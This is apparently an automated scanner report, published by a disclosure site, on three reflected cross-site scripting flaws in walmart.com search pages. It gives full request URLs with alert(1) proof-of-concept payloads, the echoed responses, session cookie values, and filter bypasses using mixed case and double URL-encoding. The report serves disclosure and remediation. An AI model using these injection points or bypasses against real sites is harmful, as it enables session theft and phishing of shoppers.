Report generated by XSS.Cx at Sat Sep 01 08:32:42 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.walmart.com

Loading

1. Cross-site scripting (reflected)

1.1. http://www.walmart.com/search/ [search_query parameter]

1.2. http://www.walmart.com/search/dynamicupdate [request_tabs parameter]

1.3. http://www.walmart.com/search/search-ng.do [search_query parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.walmart.com/search/ [search_query parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walmart.com
Path:   /search/

Issue detail

The value of the search_query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9662f</script><script>alert(1)</script>20e15af9649 was submitted in the search_query parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /search/?ic=16_0&search_query=tv+cd+palyer+blueray9662f</script><script>alert(1)</script>20e15af9649&search_constraint=0&depts=Mo_E_F_T_S_Gi_Mu_Bk_&ref= HTTP/1.1
Host: www.walmart.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Date: Thu, 29 Dec 2011 16:18:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dcenv=ndc; path=/; domain=walmart.com
Set-Cookie: SSLB=0; path=/; domain=.walmart.com
Content-Length: 229382


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html lang="en-US">


<head>

<title> - Walmart</tit
...[SNIP]...
T.page.isPreferredStoreNeeded = false;
WALMART.page.writeBreadcrumbs = function (breadcrumbs) {}
WALMART.cart.wmHost = "//www.walmart.com";
WALMART.page.search_query = "tv cd palyer blueray9662f</script><script>alert(1)</script>20e15af9649";
WALMART.page.isTypeAheadEnabled = true;
WALMART.page.isSearchOrBrowsePage = false;
WALMART.page.isPolarisPage= false;



...[SNIP]...

1.2. http://www.walmart.com/search/dynamicupdate [request_tabs parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walmart.com
Path:   /search/dynamicupdate

Issue detail

The value of the request_tabs request parameter is copied into the HTML document as plain text between tags. The payload db0b7<ScRiPt>alert(1)</ScRiPt>93ed2b179c0 was submitted in the request_tabs parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /search/dynamicupdate?dept=0&dval=1500001&exp=500500|500000|501059|500527|500501|500708|1100003&keywords=tv%20cd%20palyer%20blueray&si=global_si&match_mode=Partial&nosess=true&upt=tabcount&request_tabs=All|Online|Storedb0b7<ScRiPt>alert(1)</ScRiPt>93ed2b179c0 HTTP/1.1
Host: www.walmart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: http://www.walmart.com/search/search-ng.do?search_query=tv+cd+palyer+blueray&ic=16_0&Find=Find&search_constraint=0
Cookie: SSLB=0; SSID=BQAkQBsAAAAAAAAUjvxOlw4CGhSO_E4BAAAAAAAAAAAAFI78TgA; SSSC=2.G5691580246076296855.1|0.0; SSRT=FI78TgE; SSPV=EMAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAA; cef.env=PROD+B++H++D++Y+%3Fcat%3D3891+C+; com.wm.visitor=18947869304; spcf.backup="|com.wm.anoncart:189478693041528658|:|com.wm.cart.itemcount:0|:|com.wm.cart.pcart:1|:|com.wm.visitor:18947869304|"; com.wm.anoncart=189478693041528658; WMSessionID=00000008591eef2a3fe0b6e6e90186b63fec138ccc747eec_1325174292565_SSL204_10-15-42-8_1325174314844_11.10_N_; com.wm.reflector="reflectorid:0000000000000000000000@lastupd:1325174314846@firstcreate:1325174292567"; prefses=NAVPATH~10DcurrentDS0A0|1A0~2FROMCATREF~114503; NSC_xxx-oed.xbmnbsu.dpn-hsq=ffffffff09073b4345525d5f4f58455e445a4a423660; dcenv=ndc; s_sess=%20s_cc%3Dtrue%3B%20s_cpc%3D0%3B%20s_cps%3D0%3B%20s_pfm%3DInternal%2520Search%3B%20s_sq%3D%3B; s_pers=%20s_eVar59%3DHomepage%253A%7C1325176112380%3B%20s_vs%3D1%7C1325176112382%3B%20gpv_p11%3DSearch%2520Results%2520Search%7C1325176112386%3B%20gpv_p44%3DSearch%7C1325176112387%3B%20productnum%3D1%7C1327766312389%3B; com.wm.cart.pcart=1; com.wm.cart.itemcount=0; s_vi=[CS]v1|277E470C051D0A0B-60000101A0002949[CE]; RT=s=1325174306484&r=http%3A%2F%2Fwww.walmart.com%2F
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
Last-Modified: Thu, 29 Dec 2011 15:58:51 GMT
Content-Length: 86
Content-Type: application/json;charset=ISO-8859-1
Cache-Control: no-cache, no-store
Expires: Thu, 29 Dec 2011 15:58:51 GMT
Date: Thu, 29 Dec 2011 15:58:51 GMT
Connection: close
Vary: Accept-Encoding

{"All":"1097","Online":"1096","Storedb0b7<ScRiPt>alert(1)</ScRiPt>93ed2b179c0":"1097"}

1.3. http://www.walmart.com/search/search-ng.do [search_query parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walmart.com
Path:   /search/search-ng.do

Issue detail

The value of the search_query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33829%253c%252fScRiPt%2520%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253e10085541e33 was submitted in the search_query parameter. This input was echoed as 33829</ScRiPt ><ScRiPt>alert(1)</ScRiPt>10085541e33 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the search_query request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /search/search-ng.do?search_query=tv+cd+palyer+blueray33829%253c%252fScRiPt%2520%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253e10085541e33&ic=16_0&Find=Find&search_constraint=0 HTTP/1.1
Host: www.walmart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.walmart.com/
Cookie: SSLB=0; SSID=BQAkQBsAAAAAAAAUjvxOlw4CGhSO_E4BAAAAAAAAAAAAFI78TgA; SSSC=2.G5691580246076296855.1|0.0; SSRT=FI78TgE; SSPV=EMAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAA; cef.env=PROD+B++H++D++Y+%3Fcat%3D3891+C+; com.wm.visitor=18947869304; spcf.backup="|com.wm.anoncart:189478693041528658|:|com.wm.cart.itemcount:0|:|com.wm.cart.pcart:1|:|com.wm.visitor:18947869304|"; com.wm.anoncart=189478693041528658; WMSessionID=00000008591eef2a3fe0b6e6e90186b63fec138ccc747eec_1325174292565_SSL204_10-15-42-8_1325174295625_11.10_N_; com.wm.reflector="reflectorid:0000000000000000000000@lastupd:1325174295627@firstcreate:1325174292567"; prefses=NAVPATH~10DcurrentDS0A0|1A0; NSC_xxx-oed.xbmnbsu.dpn-hsq=ffffffff09073b4345525d5f4f58455e445a4a423660; dcenv=ndc; s_sess=%20s_cc%3Dtrue%3B%20s_cpc%3D1%3B%20s_cps%3D1%3B%20s_sq%3D%3B%20s_pfm%3DExternal%2520Non-campaign%3B; s_pers=%20s_eVar59%3DHomepage%253A%7C1325176088928%3B%20s_vs%3D1%7C1325176100923%3B%20gpv_p11%3DHomepage%7C1325176100927%3B%20gpv_p44%3DHomepage%7C1325176100930%3B; com.wm.cart.pcart=1; com.wm.cart.itemcount=0; s_vi=[CS]v1|277E470C051D0A0B-60000101A0002949[CE]; RT=s=1325174306484&r=http%3A%2F%2Fwww.walmart.com%2F
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
Last-Modified: Thu, 29 Dec 2011 15:59:17 GMT
Content-Length: 289400
Content-Type: text/html;charset=ISO-8859-1
Cache-Control: no-cache
Expires: Thu, 29 Dec 2011 15:59:17 GMT
Date: Thu, 29 Dec 2011 15:59:17 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<script>
var t_page_start = new Date().getTime();
(function() {
var b = document.c
...[SNIP]...
mpaignId();
s_omni.prop1="Search";
s_omni.prop2="Search - Partial Match";
s_omni.prop3="Search";
s_omni.prop4="Search";
s_omni.prop5="Search";
s_omni.prop8="Search";
s_omni.prop14="tv cd palyer blueray33829</ScRiPt ><ScRiPt>alert(1)</ScRiPt>10085541e33";
s_omni.prop16="757";
s_omni.prop31="Standard Search: Default";
s_omni.prop37="";
s_omni.prop39="Store Not Selected";
s_omni.prop41="Entire Site";
s_omni.prop42="Search";
s_omni.prop45="Standard Sear
...[SNIP]...

Report generated by XSS.Cx at Sat Sep 01 08:32:42 EDT 2012.